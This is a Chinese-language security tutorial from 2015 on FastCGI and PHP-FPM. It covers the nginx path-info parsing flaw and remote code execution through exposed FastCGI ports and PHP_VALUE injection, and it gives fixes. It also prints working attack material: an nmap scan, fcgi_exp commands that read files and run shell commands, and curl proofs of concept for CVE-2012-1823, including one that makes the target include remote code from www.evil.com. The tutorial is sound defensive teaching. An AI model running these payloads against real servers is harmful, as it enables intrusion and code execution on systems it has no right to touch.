catalogphp
1. Introduction 2. nginx文件類型錯誤解析漏洞 3. 針對直接公網開放的Fast-CGI攻擊 4. 經過FCGI API動態修改php.ini中的配置實現RCE
1. Introductionhtml
咱們首先來梳理一下CGI的相關概念nginx
1. CGI CGI是爲了保證web server傳遞過來的數據是標準格式的,從本質上來講,它是一個協議標準。web server(例如nginx)只是內容的分發者。好比 1) 若是請求/index.html,那麼web server會去文件系統中找到這個文件,發送給瀏覽器,這裏分發的是靜態數據 2) 若是請求的是/index.php,根據配置文件,nginx知道這個不是靜態文件,須要去找PHP解析器來處理,那麼他會把這個請求簡單處理後交給PHP解析器 問題的核心在於Nginx須要傳哪些數據給PHP解析器呢,例如 1) url 2) 查詢字符串 3) POST數據 4) HTTP header .. 本質上CGI就是規定要傳哪些數據、以什麼樣的格式傳遞給後方處理這個請求的協議,而對應的是,只要是遵循這個協議標準實現的程序,就能夠稱之爲CGI程序 2. FastCGI 首先明確一點,FastCGI也一樣是一個協議標準,FastCGI的設計目的是提升CGI程序的性能的 1) 首先,Fastcgi會先啓一個master,解析配置文件,初始化執行環境 2) 而後再啓動多個worker 3) 當請求過來時,master會傳遞給一個worker,而後當即能夠接受下一個請求。這樣就避免了重複的勞動,效率提升了 4) 並且當worker不夠用時,master能夠根據配置預先啓動幾個worker等着,同時若是發現空閒worker太多時,也會停掉一些,這樣就提升了性能,也節約了資源 而對應的是,只要是遵循了這個協議標準實現的程序,就能夠稱之爲FastCGI程序 3. PHP-CGI / PHP-FastCGI PHP的解釋器是PHP-CGI,PHP-CGI只是個CGI程序,他本身自己只能解析請求,返回結果,不會進程管理 4. PHP-FPM PHP-FPM是PHP-CGI進程的管理器,用來管理PHP-CGI進程的,PHP-FPM的管理對象是PHP-CGI
0x1: PHP-FPMweb
PHP-FPM的功能包括segmentfault
1. 支持平滑中止/啓動的高級進程管理功能 2. 能夠工做於不一樣的 uid/gid/chroot 環境下,並監聽不一樣的端口和使用不一樣的 php.ini 配置文件(可取代 safe_mode 的設置) 3. stdout、stderr日誌記錄 4. 在發生意外狀況的時候可以從新啓動並緩存被破壞的 opcode 5. 文件上傳優化支持 6. "慢日誌" - 記錄腳本(不只記錄文件名,還記錄 PHP backtrace 信息,可使用 ptrace或者相似工具讀取和分析遠程進程的運行數據)運行所致使的異常緩慢 7. fastcgi_finish_request() - 特殊功能:用於在請求完成和刷新數據後,繼續在後臺執行耗時的工做(錄入視頻轉換、統計處理等) 8. 動態/靜態子進程產生 9. 基本 SAPI 運行狀態信息(相似Apache的 mod_status) 10. 基於 php.ini 的配置文件
Relevant Link:後端
http://php.net/manual/zh/install.fpm.configuration.php http://php.net/manual/zh/install.fpm.php http://segmentfault.com/q/1010000000256516
2. nginx文件類型錯誤解析漏洞瀏覽器
0x1: 漏洞描述緩存
漏洞介紹:nginx是一款高性能的web服務器,使用很是普遍,其不只常常被用做反向代理,也能夠很是好的支持PHP的運行。可是其中存在一個較爲嚴重的安全問題,默認狀況下可能致使服務器錯誤的將任何類型的文件以PHP的方式進行解析,這將致使嚴重的安全問題,使得惡意的攻擊者可能攻陷支持php的nginx服務器安全
0x2: 漏洞分析服務器
nginx默認以cgi的方式支持php的運行,在配置文件中以下配置
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; }
配置參數簡單說明以下
1. location對請求進行選擇的時候會使用URI環境變量進行選擇 1) 其中傳遞到後端Fastcgi的關鍵變量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name決定 2) 而經過分析能夠看到$fastcgi_script_name是直接由URI環境變量控制的 2. 這裏就是產生問題的點。而爲了較好的支持PATH_INFO的提取,在PHP的配置選項裏存在cgi.fix_pathinfo選項,其目的是爲了從SCRIPT_FILENAME裏取出真正的腳本名
咱們來假設一個攻擊場景
1. 假設存在一個URL: http://localhost/test/test.jpg 2. 咱們以以下的方式去訪問: http://localhost/test/test.jpg/test.php 3. nginx將會獲得一個URI: /test.jpg/test.php 4. 通過location指令,該請求將會交給後端的fastcgi處理,nginx爲其設置環境變量SCRIPT_FILENAME,內容爲: /scripts/test.jpg/test.php 5. 後端的fastcgi在接受到該選項時,會根據fix_pathinfo配置決定是否對SCRIPT_FILENAME進行額外的處理,通常狀況下若是不對fix_pathinfo進行設置將影響使用PATH_INFO進行路由選擇的應用,因此該選項通常配置開啓。php經過該選項以後將查找其中真正的腳本文件名字,查找的方式也是查看文件是否存在,這個時候將分離出SCRIPT_FILENAME和PATH_INFO分別爲 1) SCRIPT_FILENAME: /scripts/test.jpg 2) PATH_INFO: test.php 6. 最後,以/scripts/test.jpg做爲這次請求須要執行的腳本,而nginx會使用php解析器來處理這個jpg文件,攻擊者就能夠實現讓nginx以php來解析任何類型的文件了
漏洞的本質實際上就是因爲fcgi和webserver對script路徑級參數的理解不一樣出現的問題,這是典型的由於跨系統語境不一樣致使對同一個請求的不一樣解釋致使的漏洞,它的攻擊面是帶有這種漏洞的nginx
0x3: POC
訪問一個nginx支持php的站點,在一個任何資源的文件如robots.txt後面加上/test.php,這個任意資源文件就會被看成php文件得以執行
0x4: 修復方案(需重啓)
1. 修改php.ini配置 cgi.fix_pathinfo = 0 2. nginx配置文件中添加 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } /* 考慮到MVC框架、用戶自定義站點中有可能出現xxx/xx.php的狀況,這個規則應該更加細粒度一點,例如*.jpg/.*php、*.txt/.*php */
另外,nginx能夠在不須要重啓的狀況,hotreload配置文件
service nginx reload //or /etc/init.d/nginx reload
0x5: 修復方案(無需重啓)
前提是目標服務器同時存在FCGI API暴露在公網的漏洞,使用hotfix的修復思想,利用FCGI自己能夠RCE的特色,利用RCE修改存在漏洞的機器的FCGI漏洞
1. 利用FCGI RCE漏洞修改目標服務器的nginx配置文件的配置 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } 2. 利用FCGI RCE漏洞動態修改php.ini的值 cgi.fix_pathinfo = 0
Relevant Link:
http://www.80sec.com/nginx-securit.html http://php.net/manual/zh/ini.core.php
3. 針對直接公網開放的Fast-CGI攻擊
除了利用nginx文件解析漏洞以外,因爲fcgi和webserver是經過網絡進行溝通的,所以目前愈來愈多的集羣將fcgi直接綁定在公網上,全部人均可以對其進行訪問。這樣就意味着,任何人均可以假裝成webserver,讓fcgi執行咱們想執行的腳本內容。咱們以php-fpm(php的fast-cgi的實現)做爲例子說明直接將fastcgi暴露在公網所帶來的安全風險
0x1: 受影響範圍掃描
/* 1. php-fpm默認監聽的端口是9000 2. 使用sV的緣由是,由於9000端口可能還存在其餘服務,這裏須要借用nmap的指紋識別先幫咱們鑑定一下 */ nmap -sV -p 9000 --open 173.xxx.xxx.1/24
0x2: fcgi劫持POC
由於webserver爲了提供fastcgi一些參數,每次轉發請求的時候,會經過FASTCGI_PARAMS的包向fcgi進程進行傳遞。原本這些參數是用戶不可控的,可是既然這個fcgi對外開放,那麼也就說明咱們能夠經過設定這些參數,來讓咱們去作一些本來作不到的事情
./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue /* 1. 在FASTCGI_PARAMS中,設定DOCUMENT_ROOT爲"/"根目錄 2. 設置SCRIPT_FILENAME爲/etc/issue 3. 這樣,只要咱們有權限,咱們就能夠控制fcgi去讀取這臺機器上的任意文件了。實際上這並非讀取,而是用php去執行它 */
fcgi_exp.go
.. env := make(map[string]string) env["SCRIPT_FILENAME"] = url env["DOCUMENT_ROOT"] = "/" env["SERVER_SOFTWARE"] = "go / fcgiclient " env["REMOTE_ADDR"] = "127.0.0.1" env["SERVER_PROTOCOL"] = "HTTP/1.1" if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input" } else { env["REQUEST_METHOD"] = "GET" } ..
0x3: 攻擊向量
1. 相似於一個普通的LFI漏洞,若是你知道這臺機器上的log路徑,或者任何你能夠控制內容的文件路徑,你就能夠執行任意代碼了 //將LFI漏洞轉化爲RCE的相關知識,請參閱另外一篇文章: http://www.cnblogs.com/LittleHann/p/3665062.html 2. 動態修改php.ini中的auto_prepend_file的值,去遠程執行任意文件。將一個LFI的漏洞變成了RFI
0x4: 修復方案
1. 不要把fcgi接口對公網暴露 2. 對fcgi會添加身份認證機制
4. 經過FCGI API動態修改php.ini中的配置實現RCE
0x1: 攻擊向量
通用經過設置FASTCGI_PARAMS,咱們能夠利用PHP_ADMIN_VALUE和PHP_VALUE去動態修改php的設置
env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用執行php://input,而後在POST的內容中寫入咱們的php代碼,這樣就能夠直接執行了
./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
0x2: POC
1. 本地包含直接執行代碼: curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 2. 遠程包含執行代碼: curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt //-d參數: 做用是給php定義一個ini的值
0x2: 修復方案
1. 不要把fcgi接口對公網暴露(重要) 2. 對fcgi會添加身份認證機制 3. 升級php cgi
Relevant Link:
http://zone.wooyun.org/content/1060 http://zone.wooyun.org/content/151 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Copyright (c) 2015 LittleHann All rights reserved